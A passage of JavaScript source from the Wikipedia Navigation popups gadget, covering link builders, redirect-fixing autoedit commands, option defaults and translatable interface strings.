if (!pg.current.links[i].navpopup) {
continue;
}
if (nullify || banish) {
pg.current.links[i].navpopup.banish();
}
pg.current.links[i].simpleNoMore = false;
if (nullify) {
pg.current.links[i].navpopup = null;
}
}
}
pg.fn.disablePopups = function disablePopups() {
processAllPopups(false, true);
setupTooltips(null, true);
};
pg.fn.togglePreviews = function togglePreviews() {
processAllPopups(true, true);
pg.option.simplePopups = !pg.option.simplePopups;
abortAllDownloads();
};
function magicWatchLink(l) {
//Yuck!! Would require a thorough redesign to add this as a click event though ...
l.onclick = simplePrintf("pg.fn.modifyWatchlist('%s','%s');return false;", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
this.id,
]);
return wikiLink(l);
}
pg.fn.modifyWatchlist = function modifyWatchlist(title, action) {
const reqData = {
action: 'watch',
formatversion: 2,
titles: title,
uselang: mw.config.get('wgUserLanguage'),
};
if (action === 'unwatch') {
reqData.unwatch = true;
}
// Load the Addedwatchtext or Removedwatchtext message and show it
const mwTitle = mw.Title.newFromText(title);
let messageName;
if (mwTitle && mwTitle.getNamespaceId() > 0 && mwTitle.getNamespaceId() % 2 === 1) {
messageName = action === 'watch' ? 'addedwatchtext-talk' : 'removedwatchtext-talk';
} else {
messageName = action === 'watch' ? 'addedwatchtext' : 'removedwatchtext';
}
$.when(
getMwApi().postWithToken('watch', reqData),
getMwApi().loadMessagesIfMissing([messageName])
).done(() => {
mw.notify(mw.message(messageName, title).parseDom());
});
};
function magicHistoryLink(l) {
// FIXME use onclick change href trick to sort this out instead of window.open
let jsUrl = '',
title = '',
onClick = '';
switch (l.id) {
case 'lastContrib':
onClick = simplePrintf("pg.fn.getLastContrib('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('lastContribHint');
break;
case 'sinceMe':
onClick = simplePrintf("pg.fn.getDiffSinceMyEdit('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('sinceMeHint');
break;
}
jsUrl = 'javascript:' + onClick; // jshint ignore:line
onClick += ';return false;';
return generalNavLink({
url: jsUrl,
newWin: false, // can't have new windows with JS links, I think
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function popupMenuLink(l) {
const jsUrl = simplePrintf('javascript:pg.fn.%s()', [l.id]); // jshint ignore:line
const title = popupString(simplePrintf('%sHint', [l.id]));
const onClick = simplePrintf('pg.fn.%s();return false;', [l.id]);
return generalNavLink({
url: jsUrl,
newWin: false,
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function specialLink(l) {
// properties: article, specialpage, text, sep
if (typeof l.specialpage == 'undefined' || !l.specialpage) {
return null;
}
const base =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':' +
l.specialpage;
if (typeof l.sep == 'undefined' || l.sep === null) {
l.sep = '&target=';
}
let article = l.article.urlString({
keepSpaces: l.specialpage == 'Search',
});
let hint = popupString(l.specialpage + 'Hint');
switch (l.specialpage) {
case 'Log':
switch (l.sep) {
case '&user=':
hint = popupString('userLogHint');
break;
case '&type=block&page=':
hint = popupString('blockLogHint');
break;
case '&page=':
hint = popupString('pageLogHint');
break;
case '&type=protect&page=':
hint = popupString('protectLogHint');
break;
case '&type=delete&page=':
hint = popupString('deleteLogHint');
break;
default:
log('Unknown log type, sep=' + l.sep);
hint = 'Missing hint (FIXME)';
}
break;
case 'PrefixIndex':
article += '/';
break;
}
if (hint) {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
} else {
hint = safeDecodeURI(l.specialpage + ':' + l.article);
}
const url = base + l.sep + article;
return generalNavLink({
url: url,
title: hint,
text: l.text,
newWin: l.newWin,
noPopup: l.noPopup,
});
}
/**
* Builds a link from a object representing a link
*
* @param {Object} link
* @param {string} link.url URL
* @param {string} link.text The text to show for a link
* @param {string} link.title Title of the link, this shows up
* when you hover over the link
* @param {boolean} link.newWin Should open in a new Window
* @param {number} link.noPopup Should nest new popups from link (0 or 1)
* @param {string} link.onclick
* @return {string|null} null if no url is given
*/
function generalLink(link) {
if (typeof link.url == 'undefined') {
return null;
}
const elem = document.createElement( 'a' );
elem.href = link.url;
elem.title = link.title;
// The onclick event adds raw JS in textual form to the HTML.
// TODO: We should look into removing this, and/or auditing what gets sent.
elem.setAttribute( 'onclick', link.onclick );
if ( link.noPopup ) {
elem.setAttribute('noPopup', '1' );
}
let newWin;
if (typeof link.newWin == 'undefined' || link.newWin === null) {
newWin = getValueOf('popupNewWindows');
} else {
newWin = link.newWin;
}
if (newWin) {
elem.target = '_blank';
}
if (link.className) {
elem.className = link.className;
}
elem.innerText = pg.unescapeQuotesHTML(link.text);
return elem.outerHTML;
}
function appendParamsToLink(linkstr, params) {
const sp = linkstr.parenSplit(/(href="[^"]+?)"/i);
if (sp.length < 2) {
return null;
}
let ret = sp.shift() + sp.shift();
ret += '&' + params + '"';
ret += sp.join('');
return ret;
}
function changeLinkTargetLink(x) {
// newTarget, text, hint, summary, clickButton, minor, title (optional), alsoChangeLabel {
if (x.newTarget) {
log('changeLinkTargetLink: newTarget=' + x.newTarget);
}
if (x.oldTarget !== decodeURIComponent(x.oldTarget)) {
log('This might be an input problem: ' + x.oldTarget);
}
// FIXME: first character of page title as well as namespace should be case insensitive
// eg [[:category:X1]] and [[:Category:X1]] are equivalent
// this'll break if charAt(0) is nasty
const cA = mw.util.escapeRegExp(x.oldTarget);
let chs = cA.charAt(0).toUpperCase();
chs = '[' + chs + chs.toLowerCase() + ']';
let currentArticleRegexBit = chs + cA.substring(1);
currentArticleRegexBit = currentArticleRegexBit
.split(/(?:[_ ]+|%20)/g)
.join('(?:[_ ]+|%20)')
.split('\\(')
.join('(?:%28|\\()')
.split('\\)')
.join('(?:%29|\\))'); // why does this need to match encoded strings ? links in the document ?
// leading and trailing space should be ignored, and anchor bits optional:
currentArticleRegexBit = '\\s*(' + currentArticleRegexBit + '(?:#[^\\[\\|]*)?)\\s*';
// e.g. Computer (archaic) -> \s*([Cc]omputer[_ ](?:%2528|\()archaic(?:%2528|\)))\s*
// autoedit=s~\[\[([Cc]ad)\]\]~[[Computer-aided%20design|$1]]~g;s~\[\[([Cc]AD)[|]~[[Computer-aided%20design|~g
const title = x.title || mw.config.get('wgPageName').split('_').join(' ');
const lk = titledWikiLink({
article: new Title(title),
newWin: x.newWin,
action: 'edit',
text: x.text,
title: x.hint,
className: 'popup_change_title_link',
});
let cmd = '';
if (x.newTarget) {
// escape '&' and other nasties
const t = x.newTarget;
const s = mw.util.escapeRegExp(x.newTarget);
if (x.alsoChangeLabel) {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + ']]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + '|$1]]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
}
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~$1~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|](.*?)\\]\\]~$2~g';
}
// Build query
cmd = 'autoedit=' + encodeURIComponent(cmd);
cmd +=
'&autoclick=' +
encodeURIComponent(x.clickButton) +
'&actoken=' +
encodeURIComponent(autoClickToken());
cmd += x.minor === null ? '' : '&autominor=' + encodeURIComponent(x.minor);
cmd += x.watch === null ? '' : '&autowatch=' + encodeURIComponent(x.watch);
cmd += '&autosummary=' + encodeURIComponent(x.summary);
cmd += '&autoimpl=' + encodeURIComponent(popupString('autoedit_version'));
return appendParamsToLink(lk, cmd);
}
function redirLink(redirMatch, article) {
// NB redirMatch is in wikiText
let ret = '';
if (getValueOf('popupAppendRedirNavLinks') && getValueOf('popupNavLinks')) {
ret += '<hr />';
if (getValueOf('popupFixRedirs') && typeof autoEdit != 'undefined' && autoEdit) {
ret += popupString('Redirects to: (Fix ');
log('redirLink: newTarget=' + redirMatch);
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target'),
hint: popupString('Fix this redirect, changing just the link target'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
}),
'R'
);
ret += popupString(' or ');
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target & label'),
hint: popupString('Fix this redirect, changing the link target and label'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
alsoChangeLabel: true,
}),
'R'
);
ret += popupString(')');
} else {
ret += popupString('Redirects') + popupString(' to ');
}
return ret;
} else {
return (
'<br> ' +
popupString('Redirects') +
popupString(' to ') +
titledWikiLink({
article: new Title().fromWikiText(redirMatch),
action: 'view' /* FIXME: newWin */,
text: safeDecodeURI(redirMatch),
title: popupString('Bypass redirect'),
})
);
}
}
function arinLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!l.article.isIpUser() || !pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
return generalNavLink({
url: 'http://ws.arin.net/cgi-bin/whois.pl?queryinput=' + encodeURIComponent(uN),
newWin: l.newWin,
title: tprintf('Look up %s in ARIN whois database', [uN]),
text: l.text,
noPopup: 1,
});
}
function toolDbName(cookieStyle) {
let ret = mw.config.get('wgDBname');
if (!cookieStyle) {
ret += '_p';
}
return ret;
}
function saneLinkCheck(l) {
if (typeof l.article != typeof {} || typeof l.text != typeof '') {
return false;
}
return true;
}
function editCounterLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
const tool = getValueOf('popupEditCounterTool');
let url;
const defaultToolUrl = 'https://xtools.wmflabs.org/ec?user=$1&project=$2.$3&uselang=' + mw.config.get('wgUserLanguage');
switch (tool) {
case 'custom':
url = simplePrintf(getValueOf('popupEditCounterUrl'), [
encodeURIComponent(uN),
toolDbName(),
]);
break;
case 'soxred': // no longer available
case 'kate': // no longer available
case 'interiot': // no longer available
/* fall through */
case 'supercount':
default:
var theWiki = pg.wiki.hostname.split('.');
url = simplePrintf(defaultToolUrl, [encodeURIComponent(uN), theWiki[0], theWiki[1]]);
}
return generalNavLink({
url: url,
title: tprintf('editCounterLinkHint', [uN]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function globalSearchLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://global-search.toolforge.org/?uselang=' + mw.config.get('wgUserLanguage') + '&q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + article,
newWin: l.newWin,
title: tprintf('globalSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function googleLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://www.google.com/search?q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + '%22' + article + '%22',
newWin: l.newWin,
title: tprintf('googleSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function editorListLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const article = l.article.articleFromTalkPage() || l.article;
const url =
'https://xtools.wmflabs.org/articleinfo/' +
encodeURI(pg.wiki.hostname) +
'/' +
article.urlString() +
'?uselang=' +
mw.config.get('wgUserLanguage');
return generalNavLink({
url: url,
title: tprintf('editorListHint', [article]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function generalNavLink(l) {
l.className = l.className === null ? 'popupNavLink' : l.className;
return generalLink(l);
}
//////////////////////////////////////////////////
// magic history links
//
function getHistoryInfo(wikipage, whatNext) {
log('getHistoryInfo');
getHistory(
wikipage,
whatNext ?
(d) => {
whatNext(processHistory(d));
} :
processHistory
);
}
// FIXME eliminate pg.idNumber ... how? :-(
function getHistory(wikipage, onComplete) {
log('getHistory');
const url =
pg.wiki.apiwikibase +
'?format=json&formatversion=2&action=query&prop=revisions&titles=' +
new Title(wikipage).urlString() +
'&rvlimit=' +
getValueOf('popupHistoryLimit');
log('getHistory: url=' + url);
return startDownload(url, pg.idNumber + 'history', onComplete);
}
function processHistory(download) {
const jsobj = getJsObj(download.data);
try {
const revisions = anyChild(jsobj.query.pages).revisions;
const edits = [];
for (let i = 0; i < revisions.length; ++i) {
edits.push({ oldid: revisions[i].revid, editor: revisions[i].user });
}
log('processed ' + edits.length + ' edits');
return finishProcessHistory(edits, mw.config.get('wgUserName'));
} catch (someError) {
log('Something went wrong with JSON business');
return finishProcessHistory([]);
}
}
function finishProcessHistory(edits, userName) {
const histInfo = {};
histInfo.edits = edits;
histInfo.userName = userName;
for (let i = 0; i < edits.length; ++i) {
if (typeof histInfo.myLastEdit === 'undefined' && userName && edits[i].editor == userName) {
histInfo.myLastEdit = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
if (typeof histInfo.firstNewEditor === 'undefined' && edits[i].editor != edits[0].editor) {
histInfo.firstNewEditor = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
}
//pg.misc.historyInfo=histInfo;
return histInfo;
}
// ENDFILE: links.js
// STARTFILE: options.js
//////////////////////////////////////////////////
// options
// check for existing value, else use default
function defaultize(x) {
if (pg.option[x] === null || typeof pg.option[x] == 'undefined') {
if (typeof window[x] != 'undefined') {
pg.option[x] = window[x];
} else {
pg.option[x] = pg.optionDefault[x];
}
}
}
function newOption(x, def) {
pg.optionDefault[x] = def;
}
function setDefault(x, def) {
return newOption(x, def);
}
function getValueOf(varName) {
defaultize(varName);
return pg.option[varName];
}
/*eslint-disable */
function useDefaultOptions() {
// for testing
for (var p in pg.optionDefault) {
pg.option[p] = pg.optionDefault[p];
if (typeof window[p] != 'undefined') {
delete window[p];
}
}
}
/*eslint-enable */
function setOptions() {
// user-settable parameters and defaults
let userIsSysop = false;
if (mw.config.get('wgUserGroups')) {
for (let g = 0; g < mw.config.get('wgUserGroups').length; ++g) {
if (mw.config.get('wgUserGroups')[g] == 'sysop') {
userIsSysop = true;
}
}
}
// Basic options
newOption('popupDelay', 0.5);
newOption('popupHideDelay', 0.5);
newOption('simplePopups', false);
newOption('popupStructure', 'shortmenus'); // see later - default for popupStructure is 'original' if simplePopups is true
newOption('popupActionsMenu', true);
newOption('popupSetupMenu', true);
newOption('popupAdminLinks', userIsSysop);
newOption('popupShortcutKeys', false);
newOption('popupHistoricalLinks', true);
newOption('popupOnlyArticleLinks', true);
newOption('removeTitles', true);
newOption('popupMaxWidth', 350);
newOption('popupSimplifyMainLink', true);
newOption('popupAppendRedirNavLinks', true);
newOption('popupTocLinks', false);
newOption('popupSubpopups', true);
newOption('popupDragHandle', false /* 'popupTopLinks'*/);
newOption('popupLazyPreviews', true);
newOption('popupLazyDownloads', true);
newOption('popupAllDabsStubs', false);
newOption('popupDebugging', false);
newOption('popupActiveNavlinks', true);
newOption('popupModifier', false); // ctrl, shift, alt or meta
newOption('popupModifierAction', 'enable'); // or 'disable'
newOption('popupDraggable', true);
newOption('popupReview', false);
newOption('popupLocale', false);
newOption('popupDateTimeFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
newOption('popupDateFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
});
newOption('popupTimeFormatterOptions', {
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
// images
newOption('popupImages', true);
newOption('imagePopupsForImages', true);
newOption('popupNeverGetThumbs', false);
//newOption('popupImagesToggleSize', true);
newOption('popupThumbAction', 'imagepage'); //'sizetoggle');
newOption('popupImageSize', 60);
newOption('popupImageSizeLarge', 200);
// redirs, dabs, reversion
newOption('popupFixRedirs', false);
newOption('popupRedirAutoClick', 'wpDiff');
newOption('popupFixDabs', false);
newOption('popupDabsAutoClick', 'wpDiff');
newOption('popupRevertSummaryPrompt', false);
newOption('popupMinorReverts', false);
newOption('popupRedlinkRemoval', false);
newOption('popupRedlinkAutoClick', 'wpDiff');
newOption('popupWatchDisambiggedPages', null);
newOption('popupWatchRedirredPages', null);
newOption('popupDabWiktionary', 'last');
// navlinks
newOption('popupNavLinks', true);
newOption('popupNavLinkSeparator', ' ⋅ ');
newOption('popupLastEditLink', true);
newOption('popupEditCounterTool', 'supercount');
newOption('popupEditCounterUrl', '');
// previews etc
newOption('popupPreviews', true);
newOption('popupSummaryData', true);
newOption('popupMaxPreviewSentences', 5);
newOption('popupMaxPreviewCharacters', 600);
newOption('popupLastModified', true);
newOption('popupPreviewKillTemplates', true);
newOption('popupPreviewRawTemplates', true);
newOption('popupPreviewFirstParOnly', true);
newOption('popupPreviewCutHeadings', true);
newOption('popupPreviewButton', false);
newOption('popupPreviewButtonEvent', 'click');
// diffs
newOption('popupPreviewDiffs', true);
newOption('popupDiffMaxLines', 100);
newOption('popupDiffContextLines', 2);
newOption('popupDiffContextCharacters', 40);
newOption('popupDiffDates', true);
newOption('popupDiffDatePrinter', 'toLocaleString'); // no longer in use
// edit summaries. God, these are ugly.
newOption('popupReviewedSummary', popupString('defaultpopupReviewedSummary'));
newOption('popupFixDabsSummary', popupString('defaultpopupFixDabsSummary'));
newOption('popupExtendedRevertSummary', popupString('defaultpopupExtendedRevertSummary'));
newOption('popupRevertSummary', popupString('defaultpopupRevertSummary'));
newOption('popupRevertToPreviousSummary', popupString('defaultpopupRevertToPreviousSummary'));
newOption('popupQueriedRevertSummary', popupString('defaultpopupQueriedRevertSummary'));
newOption(
'popupQueriedRevertToPreviousSummary',
popupString('defaultpopupQueriedRevertToPreviousSummary')
);
newOption('popupFixRedirsSummary', popupString('defaultpopupFixRedirsSummary'));
newOption('popupRedlinkSummary', popupString('defaultpopupRedlinkSummary'));
newOption('popupRmDabLinkSummary', popupString('defaultpopupRmDabLinkSummary'));
// misc
newOption('popupHistoryLimit', 50);
newOption('popupFilters', [
popupFilterStubDetect,
popupFilterDisambigDetect,
popupFilterPageSize,
popupFilterCountLinks,
popupFilterCountImages,
popupFilterCountCategories,
popupFilterLastModified,
popupFilterWikibaseItem,
]);
newOption('extraPopupFilters', []);
newOption('popupOnEditSelection', 'cursor');
newOption('popupPreviewHistory', true);
newOption('popupImageLinks', true);
newOption('popupCategoryMembers', true);
newOption('popupUserInfo', true);
newOption('popupHistoryPreviewLimit', 25);
newOption('popupContribsPreviewLimit', 25);
newOption('popupRevDelUrl', '//en.wikipedia.org/wiki/Wikipedia:Revision_deletion');
newOption('popupShowGender', true);
// new windows
newOption('popupNewWindows', false);
newOption('popupLinksNewWindow', { lastContrib: true, sinceMe: true });
// regexps
newOption(
'popupDabRegexp',
'disambiguation\\}\\}|\\{\\{\\s*(d(ab|isamb(ig(uation)?)?)|(((geo|hn|road?|school|number)dis)|[234][lc][acw]|(road|ship)index))\\s*(\\|[^}]*)?\\}\\}|is a .*disambiguation.*page'
);
newOption('popupAnchorRegexp', 'anchors?'); //how to identify an anchors template
newOption('popupStubRegexp', '(sect)?stub[}][}]|This .*-related article is a .*stub');
newOption(
'popupImageVarsRegexp',
'image|image_(?:file|skyline|name|flag|seal)|cover|badge|logo'
);
}
// ENDFILE: options.js
// STARTFILE: strings.js
//////////////////////////////////////////////////
// Translatable strings
//////////////////////////////////////////////////
//
// See instructions at
// https://en.wikipedia.org/wiki/Wikipedia:Tools/Navigation_popups/Translation
pg.string = {
/////////////////////////////////////
// summary data, searching etc.
/////////////////////////////////////
article: 'article',
category: 'category',
categories: 'categories',
image: 'image',
images: 'images',
stub: 'stub',
'section stub': 'section stub',
'Empty page': 'Empty page',
kB: 'kB',
bytes: 'bytes',
day: 'day',
days: 'days',
hour: 'hour',
hours: 'hours',
minute: 'minute',
minutes: 'minutes',
second: 'second',
seconds: 'seconds',
week: 'week',
weeks: 'weeks',
search: 'search',
SearchHint: 'Find English Wikipedia articles containing %s',
web: 'web',
global: 'global',
globalSearchHint: 'Search across Wikipedias in different languages for %s',
googleSearchHint: 'Google for %s',
/////////////////////////////////////
// article-related actions and info
// (some actions also apply to user pages)
/////////////////////////////////////
actions: 'actions', ///// view articles and view talk
popupsMenu: 'popups',
togglePreviewsHint: 'Toggle preview generation in popups on this page',
'enable previews': 'enable previews',
'disable previews': 'disable previews',
'toggle previews': 'toggle previews',
'show preview': 'show preview',
reset: 'reset',
'more...': 'more...',
disable: 'disable popups',
disablePopupsHint: 'Disable popups on this page. Reload page to re-enable.',
historyfeedHint: 'RSS feed of recent changes to this page',
purgePopupsHint: 'Reset popups, clearing all cached popup data.',
PopupsHint: 'Reset popups, clearing all cached popup data.',
spacebar: 'space',
view: 'view',
'view article': 'view article',
viewHint: 'Go to %s',
talk: 'talk',
'talk page': 'talk page',
'this revision': 'this revision',
'revision %s of %s': 'revision %s of %s',
'Revision %s of %s': 'Revision %s of %s',
'the revision prior to revision %s of %s': 'the revision prior to revision %s of %s',
'Toggle image size': 'Click to toggle image size',
del: 'del', ///// delete, protect, move
delete: 'delete',
deleteHint: 'Delete %s',
undeleteShort: 'un',
UndeleteHint: 'Show the deletion history for %s',
protect: 'protect',
protectHint: 'Restrict editing rights to %s',
unprotectShort: 'un',
unprotectHint: 'Allow %s to be edited by anyone again',
'send thanks': 'send thanks',
ThanksHint: 'Send a thank you notification to this user',
move: 'move',
'move page': 'move page',
MovepageHint: 'Change the title of %s',
edit: 'edit', ///// edit articles and talk
'edit article': 'edit article',
editHint: 'Change the content of %s',
'edit talk': 'edit talk',
new: 'new',
'new topic': 'new topic',
newSectionHint: 'Start a new section on %s',
'null edit': 'null edit',
nullEditHint: 'Submit an edit to %s, making no changes ',
hist: 'hist', ///// history, diffs, editors, related
history: 'history',
historyHint: 'List the changes made to %s',
'History preview failed': 'History preview failed :-(',
last: 'prev', // For labelling the previous revision in history pages; the key is "last" for backwards compatibility
lastEdit: 'lastEdit',
'mark patrolled': 'mark patrolled',
markpatrolledHint: 'Mark this edit as patrolled',
'Could not marked this edit as patrolled': 'Could not marked this edit as patrolled',
'show last edit': 'most recent edit',
'Show the last edit': 'Show the effects of the most recent change',
lastContrib: 'lastContrib',
'last set of edits': 'latest edits',
lastContribHint: 'Show the net effect of changes made by the last editor',
cur: 'cur',
diffCur: 'diffCur',
'Show changes since revision %s': 'Show changes since revision %s',
'%s old': '%s old', // as in 4 weeks old
oldEdit: 'oldEdit',
purge: 'purge',
purgeHint: 'Demand a fresh copy of %s',
raw: 'source',
rawHint: 'Download the source of %s',
render: 'simple',
renderHint: 'Show a plain HTML version of %s',
'Show the edit made to get revision': 'Show the edit made to get revision',
sinceMe: 'sinceMe',
'changes since mine': 'diff my edit',
sinceMeHint: 'Show changes since my last edit',
"Couldn't find an edit by %s\nin the last %s edits to\n%s":
"Couldn't find an edit by %s\nin the last %s edits to\n%s",
eds: 'eds',
editors: 'editors',
editorListHint: 'List the users who have edited %s',
related: 'related',
relatedChanges: 'relatedChanges',
'related changes': 'related changes',
RecentchangeslinkedHint: 'Show changes in articles related to %s',
editOld: 'editOld', ///// edit old version, or revert
rv: 'rv',
revert: 'revert',
revertHint: 'Revert to %s',
defaultpopupReviewedSummary:
'Accepted by reviewing the [[Special:diff/%s/%s|difference]] between this version and previously accepted version using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRedlinkSummary:
'Removing link to empty page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixDabsSummary:
'Disambiguate [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixRedirsSummary:
'Redirect bypass from [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupExtendedRevertSummary:
'Revert to revision dated %s by %s, oldid %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertToPreviousSummary:
'Revert to the revision prior to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertSummary:
'Revert to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertToPreviousSummary:
'Revert to the revision prior to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertSummary:
'Revert to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRmDabLinkSummary:
'Remove link to dab page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
Redirects: 'Redirects', // as in Redirects to ...
' to ': ' to ', // as in Redirects to ...
'Bypass redirect': 'Bypass redirect',
'Fix this redirect': 'Fix this redirect',
disambig: 'disambig', ///// add or remove dab etc.
disambigHint: 'Disambiguate this link to [[%s]]',
'Click to disambiguate this link to:': 'Click to disambiguate this link to:',
'remove this link': 'remove this link',
'remove all links to this page from this article':
'remove all links to this page from this article',
'remove all links to this disambig page from this article':
'remove all links to this disambig page from this article',
mainlink: 'mainlink', ///// links, watch, unwatch
wikiLink: 'wikiLink',
wikiLinks: 'wikiLinks',
'links here': 'links here',
whatLinksHere: 'whatLinksHere',
'what links here': 'what links here',
WhatlinkshereHint: 'List the pages that are hyperlinked to %s',
unwatchShort: 'un',
watchThingy: 'watch', // called watchThingy because {}.watch is a function
watchHint: 'Add %s to my watchlist',
unwatchHint: 'Remove %s from my watchlist',
'Only found one editor: %s made %s edits': 'Only found one editor: %s made %s edits',
'%s seems to be the last editor to the page %s':
'%s seems to be the last editor to the page %s',
rss: 'rss',
/////////////////////////////////////
// diff previews
/////////////////////////////////////
'Diff truncated for performance reasons': 'Diff truncated for performance reasons',
'Old revision': 'Old revision',
'New revision': 'New revision',
'Something went wrong :-(': 'Something went wrong :-(',
'Empty revision, maybe non-existent': 'Empty revision, maybe non-existent',
'Unknown date': 'Unknown date',
/////////////////////////////////////
// other special previews
/////////////////////////////////////
'Empty category': 'Empty category',
'Category members (%s shown)': 'Category members (%s shown)',
'No image links found': 'No image links found',
'File links': 'File links',
'No image found': 'No image found',
'Image from Commons': 'Image from Commons',
'Description page': 'Description page',
'Alt text:': 'Alt text:',
revdel: 'Hidden revision',
/////////////////////////////////////
// user-related actions and info
/////////////////////////////////////
user: 'user', ///// user page, talk, email, space
'user page': 'user page',
'user talk': 'user talk',
'edit user talk': 'edit user talk',
'leave comment': 'leave comment',
email: 'email',
'email user': 'email user',
EmailuserHint: 'Send an email to %s',
space: 'space', // short form for userSpace link
PrefixIndexHint: 'Show pages in the userspace of %s',
count: 'count', ///// contributions, log
'edit counter': 'edit counter',
editCounterLinkHint: 'Count the contributions made by %s',
contribs: 'contribs',
contributions: 'contributions',
deletedContribs: 'deleted contributions',
DeletedcontributionsHint: 'List deleted edits made by %s',
ContributionsHint: 'List the contributions made by %s',
log: 'log',
'user log': 'user log',
userLogHint: "Show %s's user log",
arin: 'ARIN lookup', ///// ARIN lookup, block user or IP
'Look up %s in ARIN whois database': 'Look up %s in the ARIN whois database',
unblockShort: 'un',
block: 'block',
'block user': 'block user',
IpblocklistHint: 'Unblock %s',
BlockipHint: 'Prevent %s from editing',
'block log': 'block log',
blockLogHint: 'Show the block log for %s',
protectLogHint: 'Show the protection log for %s',
pageLogHint: 'Show the page log for %s',
deleteLogHint: 'Show the deletion log for %s',
'Invalid %s %s': 'The option %s is invalid: %s',
'No backlinks found': 'No backlinks found',
' and more': ' and more',
undo: 'undo',
undoHint: 'undo this edit',
'Download preview data': 'Download preview data',
'Invalid or IP user': 'Invalid or IP user',
'Not a registered username': 'Not a registered username',
BLOCKED: 'BLOCKED',
'Has blocks': 'Has blocks',
' edits since: ': ' edits since: ',
'last edit on ': 'last edit on ',
'he/him': 'he/him',
'she/her': 'she/her',
/////////////////////////////////////
// Autoediting
/////////////////////////////////////
'Enter a non-empty edit summary or press cancel to abort':
'Enter a non-empty edit summary or press cancel to abort',
'Failed to get revision information, please edit manually.\n\n':
'Failed to get revision information, please edit manually.\n\n',
'The %s button has been automatically clicked. Please wait for the next page to load.':
'The %s button has been automatically clicked. Please wait for the next page to load.',
'Could not find button %s. Please check the settings in your javascript file.':
'Could not find button %s. Please check the settings in your javascript file.',
/////////////////////////////////////
// Popups setup
/////////////////////////////////////
'Open full-size image': 'Open full-size image',
zxy: 'zxy',
autoedit_version: 'np20140416',
};
function popupString(str) {
if (typeof popupStrings != 'undefined' && popupStrings && popupStrings[str]) {
return popupStrings[str];
}
if (pg.string[str]) {
return pg.string[str];
}
return str;
}
function tprintf(str, subs) {
if (typeof subs != typeof []) {
subs = [subs];
}
return simplePrintf(popupString(str), subs);
}
// ENDFILE: strings.js
// STARTFILE: run.js
////////////////////////////////////////////////////////////////////
// Run things
////////////////////////////////////////////////////////////////////
// For some reason popups requires a fully loaded page jQuery.ready(...) causes problems for some.
// The old addOnloadHook did something similar to the below
if (document.readyState == 'complete') {
autoEdit();
}
//will setup popups
else {
$(window).on('load', autoEdit);
}
// Support for MediaWiki's live preview, VisualEditor's saves and Echo's flyout.
(function () {
let once = true;
function dynamicContentHandler($content) {
// Try to detect the hook fired on initial page load and disregard
// it, we already hook to onload (possibly to different parts of
// page - it's configurable) and running twice might be bad. Ugly…
if ($content.attr('id') == 'mw-content-text') {
if (once) {
